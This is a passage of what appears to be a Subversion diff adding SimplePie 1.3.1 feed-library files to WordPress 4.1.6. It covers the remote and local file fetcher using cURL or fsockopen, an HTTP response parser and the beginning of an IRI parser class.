+/**
+ * General SimplePie exception class
+ *
+ * @package SimplePie
+ */
+class SimplePie_Exception extends Exception
+{
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/File.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/File.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/File.php	(revision 33402)
@@ -0,0 +1,292 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Used for fetching remote files and reading local files
+ *
+ * Supports HTTP 1.0 via cURL or fsockopen, with spotty HTTP 1.1 support
+ *
+ * This class can be overloaded with {@see SimplePie::set_file_class()}
+ *
+ * @package SimplePie
+ * @subpackage HTTP
+ * @todo Move to properly supporting RFC2616 (HTTP/1.1)
+ */
+class SimplePie_File
+{
+	var $url;
+	var $useragent;
+	var $success = true;
+	var $headers = array();
+	var $body;
+	var $status_code;
+	var $redirects = 0;
+	var $error;
+	var $method = SIMPLEPIE_FILE_SOURCE_NONE;
+
+	public function __construct($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false)
+	{
+		if (class_exists('idna_convert'))
+		{
+			$idn = new idna_convert();
+			$parsed = SimplePie_Misc::parse_url($url);
+			$url = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']);
+		}
+		$this->url = $url;
+		$this->useragent = $useragent;
+		if (preg_match('/^http(s)?:\/\//i', $url))
+		{
+			if ($useragent === null)
+			{
+				$useragent = ini_get('user_agent');
+				$this->useragent = $useragent;
+			}
+			if (!is_array($headers))
+			{
+				$headers = array();
+			}
+			if (!$force_fsockopen && function_exists('curl_exec'))
+			{
+				$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_CURL;
+				$fp = curl_init();
+				$headers2 = array();
+				foreach ($headers as $key => $value)
+				{
+					$headers2[] = "$key: $value";
+				}
+				if (version_compare(SimplePie_Misc::get_curl_version(), '7.10.5', '>='))
+				{
+					curl_setopt($fp, CURLOPT_ENCODING, '');
+				}
+				curl_setopt($fp, CURLOPT_URL, $url);
+				curl_setopt($fp, CURLOPT_HEADER, 1);
+				curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1);
+				curl_setopt($fp, CURLOPT_TIMEOUT, $timeout);
+				curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout);
+				curl_setopt($fp, CURLOPT_REFERER, $url);
+				curl_setopt($fp, CURLOPT_USERAGENT, $useragent);
+				curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2);
+				if (!ini_get('open_basedir') && !ini_get('safe_mode') && version_compare(SimplePie_Misc::get_curl_version(), '7.15.2', '>='))
+				{
+					curl_setopt($fp, CURLOPT_FOLLOWLOCATION, 1);
+					curl_setopt($fp, CURLOPT_MAXREDIRS, $redirects);
+				}
+
+				$this->headers = curl_exec($fp);
+				if (curl_errno($fp) === 23 || curl_errno($fp) === 61)
+				{
+					curl_setopt($fp, CURLOPT_ENCODING, 'none');
+					$this->headers = curl_exec($fp);
+				}
+				if (curl_errno($fp))
+				{
+					$this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp);
+					$this->success = false;
+				}
+				else
+				{
+					$info = curl_getinfo($fp);
+					curl_close($fp);
+					$this->headers = explode("\r\n\r\n", $this->headers, $info['redirect_count'] + 1);
+					$this->headers = array_pop($this->headers);
+					$parser = new SimplePie_HTTP_Parser($this->headers);
+					if ($parser->parse())
+					{
+						$this->headers = $parser->headers;
+						$this->body = $parser->body;
+						$this->status_code = $parser->status_code;
+						if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects)
+						{
+							$this->redirects++;
+							$location = SimplePie_Misc::absolutize_url($this->headers['location'], $url);
+							return $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen);
+						}
+					}
+				}
+			}
+			else
+			{
+				$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE | SIMPLEPIE_FILE_SOURCE_FSOCKOPEN;
+				$url_parts = parse_url($url);
+				$socket_host = $url_parts['host'];
+				if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https')
+				{
+					$socket_host = "ssl://$url_parts[host]";
+					$url_parts['port'] = 443;
+				}
+				if (!isset($url_parts['port']))
+				{
+					$url_parts['port'] = 80;
+				}
+				$fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout);
+				if (!$fp)
+				{
+					$this->error = 'fsockopen error: ' . $errstr;
+					$this->success = false;
+				}
+				else
+				{
+					stream_set_timeout($fp, $timeout);
+					if (isset($url_parts['path']))
+					{
+						if (isset($url_parts['query']))
+						{
+							$get = "$url_parts[path]?$url_parts[query]";
+						}
+						else
+						{
+							$get = $url_parts['path'];
+						}
+					}
+					else
+					{
+						$get = '/';
+					}
+					$out = "GET $get HTTP/1.1\r\n";
+					$out .= "Host: $url_parts[host]\r\n";
+					$out .= "User-Agent: $useragent\r\n";
+					if (extension_loaded('zlib'))
+					{
+						$out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n";
+					}
+
+					if (isset($url_parts['user']) && isset($url_parts['pass']))
+					{
+						$out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n";
+					}
+					foreach ($headers as $key => $value)
+					{
+						$out .= "$key: $value\r\n";
+					}
+					$out .= "Connection: Close\r\n\r\n";
+					fwrite($fp, $out);
+
+					$info = stream_get_meta_data($fp);
+
+					$this->headers = '';
+					while (!$info['eof'] && !$info['timed_out'])
+					{
+						$this->headers .= fread($fp, 1160);
+						$info = stream_get_meta_data($fp);
+					}
+					if (!$info['timed_out'])
+					{
+						$parser = new SimplePie_HTTP_Parser($this->headers);
+						if ($parser->parse())
+						{
+							$this->headers = $parser->headers;
+							$this->body = $parser->body;
+							$this->status_code = $parser->status_code;
+							if ((in_array($this->status_code, array(300, 301, 302, 303, 307)) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects)
+							{
+								$this->redirects++;
+								$location = SimplePie_Misc::absolutize_url($this->headers['location'], $url);
+								return $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen);
+							}
+							if (isset($this->headers['content-encoding']))
+							{
+								// Hey, we act dumb elsewhere, so let's do that here too
+								switch (strtolower(trim($this->headers['content-encoding'], "\x09\x0A\x0D\x20")))
+								{
+									case 'gzip':
+									case 'x-gzip':
+										$decoder = new SimplePie_gzdecode($this->body);
+										if (!$decoder->parse())
+										{
+											$this->error = 'Unable to decode HTTP "gzip" stream';
+											$this->success = false;
+										}
+										else
+										{
+											$this->body = $decoder->data;
+										}
+										break;
+
+									case 'deflate':
+										if (($decompressed = gzinflate($this->body)) !== false)
+										{
+											$this->body = $decompressed;
+										}
+										else if (($decompressed = gzuncompress($this->body)) !== false)
+										{
+											$this->body = $decompressed;
+										}
+										else if (function_exists('gzdecode') && ($decompressed = gzdecode($this->body)) !== false)
+										{
+											$this->body = $decompressed;
+										}
+										else
+										{
+											$this->error = 'Unable to decode HTTP "deflate" stream';
+											$this->success = false;
+										}
+										break;
+
+									default:
+										$this->error = 'Unknown content coding';
+										$this->success = false;
+								}
+							}
+						}
+					}
+					else
+					{
+						$this->error = 'fsocket timed out';
+						$this->success = false;
+					}
+					fclose($fp);
+				}
+			}
+		}
+		else
+		{
+			$this->method = SIMPLEPIE_FILE_SOURCE_LOCAL | SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS;
+			if (!$this->body = file_get_contents($url))
+			{
+				$this->error = 'file_get_contents could not read the file';
+				$this->success = false;
+			}
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/HTTP/Parser.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/HTTP/Parser.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/HTTP/Parser.php	(revision 33402)
@@ -0,0 +1,500 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * HTTP Response Parser
+ *
+ * @package SimplePie
+ * @subpackage HTTP
+ */
+class SimplePie_HTTP_Parser
+{
+	/**
+	 * HTTP Version
+	 *
+	 * @var float
+	 */
+	public $http_version = 0.0;
+
+	/**
+	 * Status code
+	 *
+	 * @var int
+	 */
+	public $status_code = 0;
+
+	/**
+	 * Reason phrase
+	 *
+	 * @var string
+	 */
+	public $reason = '';
+
+	/**
+	 * Key/value pairs of the headers
+	 *
+	 * @var array
+	 */
+	public $headers = array();
+
+	/**
+	 * Body of the response
+	 *
+	 * @var string
+	 */
+	public $body = '';
+
+	/**
+	 * Current state of the state machine
+	 *
+	 * @var string
+	 */
+	protected $state = 'http_version';
+
+	/**
+	 * Input data
+	 *
+	 * @var string
+	 */
+	protected $data = '';
+
+	/**
+	 * Input data length (to avoid calling strlen() everytime this is needed)
+	 *
+	 * @var int
+	 */
+	protected $data_length = 0;
+
+	/**
+	 * Current position of the pointer
+	 *
+	 * @var int
+	 */
+	protected $position = 0;
+
+	/**
+	 * Name of the hedaer currently being parsed
+	 *
+	 * @var string
+	 */
+	protected $name = '';
+
+	/**
+	 * Value of the hedaer currently being parsed
+	 *
+	 * @var string
+	 */
+	protected $value = '';
+
+	/**
+	 * Create an instance of the class with the input data
+	 *
+	 * @param string $data Input data
+	 */
+	public function __construct($data)
+	{
+		$this->data = $data;
+		$this->data_length = strlen($this->data);
+	}
+
+	/**
+	 * Parse the input data
+	 *
+	 * @return bool true on success, false on failure
+	 */
+	public function parse()
+	{
+		while ($this->state && $this->state !== 'emit' && $this->has_data())
+		{
+			$state = $this->state;
+			$this->$state();
+		}
+		$this->data = '';
+		if ($this->state === 'emit' || $this->state === 'body')
+		{
+			return true;
+		}
+		else
+		{
+			$this->http_version = '';
+			$this->status_code = '';
+			$this->reason = '';
+			$this->headers = array();
+			$this->body = '';
+			return false;
+		}
+	}
+
+	/**
+	 * Check whether there is data beyond the pointer
+	 *
+	 * @return bool true if there is further data, false if not
+	 */
+	protected function has_data()
+	{
+		return (bool) ($this->position < $this->data_length);
+	}
+
+	/**
+	 * See if the next character is LWS
+	 *
+	 * @return bool true if the next character is LWS, false if not
+	 */
+	protected function is_linear_whitespace()
+	{
+		return (bool) ($this->data[$this->position] === "\x09"
+			|| $this->data[$this->position] === "\x20"
+			|| ($this->data[$this->position] === "\x0A"
+				&& isset($this->data[$this->position + 1])
+				&& ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
+	}
+
+	/**
+	 * Parse the HTTP version
+	 */
+	protected function http_version()
+	{
+		if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/')
+		{
+			$len = strspn($this->data, '0123456789.', 5);
+			$this->http_version = substr($this->data, 5, $len);
+			$this->position += 5 + $len;
+			if (substr_count($this->http_version, '.') <= 1)
+			{
+				$this->http_version = (float) $this->http_version;
+				$this->position += strspn($this->data, "\x09\x20", $this->position);
+				$this->state = 'status';
+			}
+			else
+			{
+				$this->state = false;
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	/**
+	 * Parse the status code
+	 */
+	protected function status()
+	{
+		if ($len = strspn($this->data, '0123456789', $this->position))
+		{
+			$this->status_code = (int) substr($this->data, $this->position, $len);
+			$this->position += $len;
+			$this->state = 'reason';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	/**
+	 * Parse the reason phrase
+	 */
+	protected function reason()
+	{
+		$len = strcspn($this->data, "\x0A", $this->position);
+		$this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
+		$this->position += $len + 1;
+		$this->state = 'new_line';
+	}
+
+	/**
+	 * Deal with a new line, shifting data around as needed
+	 */
+	protected function new_line()
+	{
+		$this->value = trim($this->value, "\x0D\x20");
+		if ($this->name !== '' && $this->value !== '')
+		{
+			$this->name = strtolower($this->name);
+			// We should only use the last Content-Type header. c.f. issue #1
+			if (isset($this->headers[$this->name]) && $this->name !== 'content-type')
+			{
+				$this->headers[$this->name] .= ', ' . $this->value;
+			}
+			else
+			{
+				$this->headers[$this->name] = $this->value;
+			}
+		}
+		$this->name = '';
+		$this->value = '';
+		if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A")
+		{
+			$this->position += 2;
+			$this->state = 'body';
+		}
+		elseif ($this->data[$this->position] === "\x0A")
+		{
+			$this->position++;
+			$this->state = 'body';
+		}
+		else
+		{
+			$this->state = 'name';
+		}
+	}
+
+	/**
+	 * Parse a header name
+	 */
+	protected function name()
+	{
+		$len = strcspn($this->data, "\x0A:", $this->position);
+		if (isset($this->data[$this->position + $len]))
+		{
+			if ($this->data[$this->position + $len] === "\x0A")
+			{
+				$this->position += $len;
+				$this->state = 'new_line';
+			}
+			else
+			{
+				$this->name = substr($this->data, $this->position, $len);
+				$this->position += $len + 1;
+				$this->state = 'value';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+
+	/**
+	 * Parse LWS, replacing consecutive LWS characters with a single space
+	 */
+	protected function linear_whitespace()
+	{
+		do
+		{
+			if (substr($this->data, $this->position, 2) === "\x0D\x0A")
+			{
+				$this->position += 2;
+			}
+			elseif ($this->data[$this->position] === "\x0A")
+			{
+				$this->position++;
+			}
+			$this->position += strspn($this->data, "\x09\x20", $this->position);
+		} while ($this->has_data() && $this->is_linear_whitespace());
+		$this->value .= "\x20";
+	}
+
+	/**
+	 * See what state to move to while within non-quoted header values
+	 */
+	protected function value()
+	{
+		if ($this->is_linear_whitespace())
+		{
+			$this->linear_whitespace();
+		}
+		else
+		{
+			switch ($this->data[$this->position])
+			{
+				case '"':
+					// Workaround for ETags: we have to include the quotes as
+					// part of the tag.
+					if (strtolower($this->name) === 'etag')
+					{
+						$this->value .= '"';
+						$this->position++;
+						$this->state = 'value_char';
+						break;
+					}
+					$this->position++;
+					$this->state = 'quote';
+					break;
+
+				case "\x0A":
+					$this->position++;
+					$this->state = 'new_line';
+					break;
+
+				default:
+					$this->state = 'value_char';
+					break;
+			}
+		}
+	}
+
+	/**
+	 * Parse a header value while outside quotes
+	 */
+	protected function value_char()
+	{
+		$len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
+		$this->value .= substr($this->data, $this->position, $len);
+		$this->position += $len;
+		$this->state = 'value';
+	}
+
+	/**
+	 * See what state to move to while within quoted header values
+	 */
+	protected function quote()
+	{
+		if ($this->is_linear_whitespace())
+		{
+			$this->linear_whitespace();
+		}
+		else
+		{
+			switch ($this->data[$this->position])
+			{
+				case '"':
+					$this->position++;
+					$this->state = 'value';
+					break;
+
+				case "\x0A":
+					$this->position++;
+					$this->state = 'new_line';
+					break;
+
+				case '\\':
+					$this->position++;
+					$this->state = 'quote_escaped';
+					break;
+
+				default:
+					$this->state = 'quote_char';
+					break;
+			}
+		}
+	}
+
+	/**
+	 * Parse a header value while within quotes
+	 */
+	protected function quote_char()
+	{
+		$len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
+		$this->value .= substr($this->data, $this->position, $len);
+		$this->position += $len;
+		$this->state = 'value';
+	}
+
+	/**
+	 * Parse an escaped character within quotes
+	 */
+	protected function quote_escaped()
+	{
+		$this->value .= $this->data[$this->position];
+		$this->position++;
+		$this->state = 'quote';
+	}
+
+	/**
+	 * Parse the body
+	 */
+	protected function body()
+	{
+		$this->body = substr($this->data, $this->position);
+		if (!empty($this->headers['transfer-encoding']))
+		{
+			unset($this->headers['transfer-encoding']);
+			$this->state = 'chunked';
+		}
+		else
+		{
+			$this->state = 'emit';
+		}
+	}
+
+	/**
+	 * Parsed a "Transfer-Encoding: chunked" body
+	 */
+	protected function chunked()
+	{
+		if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body)))
+		{
+			$this->state = 'emit';
+			return;
+		}
+
+		$decoded = '';
+		$encoded = $this->body;
+
+		while (true)
+		{
+			$is_chunked = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches );
+			if (!$is_chunked)
+			{
+				// Looks like it's not chunked after all
+				$this->state = 'emit';
+				return;
+			}
+
+			$length = hexdec(trim($matches[1]));
+			if ($length === 0)
+			{
+				// Ignore trailer headers
+				$this->state = 'emit';
+				$this->body = $decoded;
+				return;
+			}
+
+			$chunk_length = strlen($matches[0]);
+			$decoded .= $part = substr($encoded, $chunk_length, $length);
+			$encoded = substr($encoded, $chunk_length + $length + 2);
+
+			if (trim($encoded) === '0' || empty($encoded))
+			{
+				$this->state = 'emit';
+				$this->body = $decoded;
+				return;
+			}
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/IRI.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/IRI.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/IRI.php	(revision 33402)
@@ -0,0 +1,1238 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * IRI parser/serialiser/normaliser
+ *
+ * @package SimplePie
+ * @subpackage HTTP
+ * @author Geoffrey Sneddon
+ * @author Steve Minutillo
+ * @author Ryan McCue
+ * @copyright 2007-2012 Geoffrey Sneddon, Steve Minutillo, Ryan McCue
+ * @license http://www.opensource.org/licenses/bsd-license.php
+ */
+class SimplePie_IRI
+{
+	/**
+	 * Scheme
+	 *
+	 * @var string
+	 */
+	protected $scheme = null;
+
+	/**
+	 * User Information
+	 *
+	 * @var string
+	 */
+	protected $iuserinfo = null;
+
+	/**
+	 * ihost
+	 *
+	 * @var string
+	 */
+	protected $ihost = null;
+
+	/**
+	 * Port
+	 *
+	 * @var string
+	 */
+	protected $port = null;
+
+	/**
+	 * ipath
+	 *
+	 * @var string
+	 */
+	protected $ipath = '';
+
+	/**
+	 * iquery
+	 *
+	 * @var string
+	 */
+	protected $iquery = null;
+
+	/**
+	 * ifragment
+	 *
+	 * @var string
+	 */
+	protected $ifragment = null;
+
+	/**
+	 * Normalization database
+	 *
+	 * Each key is the scheme, each value is an array with each key as the IRI
+	 * part and value as the default value for that part.
+	 */
+	protected $normalization = array(
+		'acap' => array(
+			'port' => 674
+		),
+		'dict' => array(
+			'port' => 2628
+		),
+		'file' => array(
+			'ihost' => 'localhost'
+		),
+		'http' => array(
+			'port' => 80,
+			'ipath' => '/'
+		),
+		'https' => array(
+			'port' => 443,
+			'ipath' => '/'
+		),
+	);
+
+	/**
+	 * Return the entire IRI when you try and read the object as a string
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		return $this->get_iri();
+	}
+
+	/**
+	 * Overload __set() to provide access via properties
+	 *
+	 * @param string $name Property name
+	 * @param mixed $value Property value
+	 */
+	public function __set($name, $value)
+	{
+		if (method_exists($this, 'set_' . $name))
+		{
+			call_user_func(array($this, 'set_' . $name), $value);
+		}
+		elseif (
+			   $name === 'iauthority'
+			|| $name === 'iuserinfo'
+			|| $name === 'ihost'
+			|| $name === 'ipath'
+			|| $name === 'iquery'
+			|| $name === 'ifragment'
+		)
+		{
+			call_user_func(array($this, 'set_' . substr($name, 1)), $value);
+		}
+	}
+
+	/**
+	 * Overload __get() to provide access via properties
+	 *
+	 * @param string $name Property name
+	 * @return mixed
+	 */
+	public function __get($name)
+	{
+		// isset() returns false for null, we don't want to do that
+		// Also why we use array_key_exists below instead of isset()
+		$props = get_object_vars($this);
+
+		if (
+			$name === 'iri' ||
+			$name === 'uri' ||
+			$name === 'iauthority' ||
+			$name === 'authority'
+		)
+		{
+			$return = $this->{"get_$name"}();
+		}
+		elseif (array_key_exists($name, $props))
+		{
+			$return = $this->$name;
+		}
+		// host -> ihost
+		elseif (($prop = 'i' . $name) && array_key_exists($prop, $props))
+		{
+			$name = $prop;
+			$return = $this->$prop;
+		}
+		// ischeme -> scheme
+		elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props))
+		{
+			$name = $prop;
+			$return = $this->$prop;
+		}
+		else
+		{
+			trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
+			$return = null;
+		}
+
+		if ($return === null && isset($this->normalization[$this->scheme][$name]))
+		{
+			return $this->normalization[$this->scheme][$name];
+		}
+		else
+		{
+			return $return;
+		}
+	}
+
+	/**
+	 * Overload __isset() to provide access via properties
+	 *
+	 * @param string $name Property name
+	 * @return bool
+	 */
+	public function __isset($name)
+	{
+		if (method_exists($this, 'get_' . $name) || isset($this->$name))
+		{
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Overload __unset() to provide access via properties
+	 *
+	 * @param string $name Property name
+	 */
+	public function __unset($name)
+	{
+		if (method_exists($this, 'set_' . $name))
+		{
+			call_user_func(array($this, 'set_' . $name), '');
+		}
+	}
+
+	/**
+	 * Create a new IRI object, from a specified string
+	 *
+	 * @param string $iri
+	 */
+	public function __construct($iri = null)
+	{
+		$this->set_iri($iri);
+	}
+
+	/**
+	 * Create a new IRI object by resolving a relative IRI
+	 *
+	 * Returns false if $base is not absolute, otherwise an IRI.
+	 *
+	 * @param IRI|string $base (Absolute) Base IRI
+	 * @param IRI|string $relative Relative IRI
+	 * @return IRI|false
+	 */
+	public static function absolutize($base, $relative)
+	{
+		if (!($relative instanceof SimplePie_IRI))
+		{
+			$relative = new SimplePie_IRI($relative);
+		}
+		if (!$relative->is_valid())
+		{
+			return false;
+		}
+		elseif ($relative->scheme !== null)
+		{
+			return clone $relative;
+		}
+		else
+		{
+			if (!($base instanceof SimplePie_IRI))
+			{
+				$base = new SimplePie_IRI($base);
+			}
+			if ($base->scheme !== null && $base->is_valid())
+			{
+				if ($relative->get_iri() !== '')
+				{
+					if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null)
+					{
+						$target = clone $relative;
+						$target->scheme = $base->scheme;
+					}
+					else
+					{
+						$target = new SimplePie_IRI;
+						$target->scheme = $base->scheme;
+						$target->iuserinfo = $base->iuserinfo;
+						$target->ihost = $base->ihost;
+						$target->port = $base->port;
+						if ($relative->ipath !== '')
+						{
+							if ($relative->ipath[0] === '/')
+							{
+								$target->ipath = $relative->ipath;
+							}
+							elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '')
+							{
+								$target->ipath = '/' . $relative->ipath;
+							}
+							elseif (($last_segment = strrpos($base->ipath, '/')) !== false)
+							{
+								$target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
+							}
+							else
+							{
+								$target->ipath = $relative->ipath;
+							}
+							$target->ipath = $target->remove_dot_segments($target->ipath);
+							$target->iquery = $relative->iquery;
+						}
+						else
+						{
+							$target->ipath = $base->ipath;
+							if ($relative->iquery !== null)
+							{
+								$target->iquery = $relative->iquery;
+							}
+							elseif ($base->iquery !== null)
+							{
+								$target->iquery = $base->iquery;
+							}
+						}
+						$target->ifragment = $relative->ifragment;
+					}
+				}
+				else
+				{
+					$target = clone $base;
+					$target->ifragment = null;
+				}
+				$target->scheme_normalization();
+				return $target;
+			}
+			else
+			{
+				return false;
+			}
+		}
+	}
+
+	/**
+	 * Parse an IRI into scheme/authority/path/query/fragment segments
+	 *
+	 * @param string $iri
+	 * @return array
+	 */
+	protected function parse_iri($iri)
